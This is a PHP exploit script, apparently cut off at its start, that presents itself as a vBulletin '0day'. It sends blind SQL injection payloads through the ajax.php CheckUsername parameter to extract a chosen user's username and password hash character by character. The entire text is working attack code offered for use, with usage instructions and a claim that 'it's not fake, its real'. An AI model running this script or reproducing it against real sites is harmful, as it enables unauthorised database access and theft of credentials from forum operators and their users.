#!/usr/bin/php [userid] [key]". "\n[+] Ex. : php 0day.php localhost /vBulletin/ 1 abcdefghijklmnopqrstuvwxyz". "\n[+] Note. : Its a 0day exploit\n\n"; exit (); } function check ($hostname, $path, $field, $pos, $usid, $char) { $char = ord ($char); $inj = 'ajax.php?do=CheckUsername¶m='; $inj.= "admin'+and+ascii(substring((SELECT/**/{$field}/**/from/**/user/**/where/**/userid={$usid}),{$pos},1))={$char}/*"; $culr = $hostname.$path.$inj; $curl = curl_init(); curl_setopt ($curl, CURLOPT_URL, $culr ); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_VERBOSE, 0); ob_start(); curl_exec ($curl); curl_close ($curl); $con = ob_get_contents(); ob_end_clean(); if(eregi('Invalid',$con)) return true; else return false; } function brutechar ($hostname, $path, $field, $usid, $key) { $pos = 1; $chr = 0; while ($chr < strlen ($key)) { if (check ($hostname, $path, $field, $pos, $usid, $key [$chr])) { echo $key [$chr]; $chr = -1; $pos++; } $chr++; } } if (count ($argv) != 4) usage (); $hostname = $argv [1]; $path = $argv [2]; $usid = $argv [3]; $key = $argv [4]; if (empty ($key)) $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; echo "[+] Username: "; brutechar ($hostname, $path, "username", $usid, $key); echo "\n[+] Password: "; brutechar ($hostname, $path, "password", $usid, $key); echo "\n[+] Done.."; echo "\n[+] It's not fake, its real."; # word to 1337day.com, stop scaming me ?>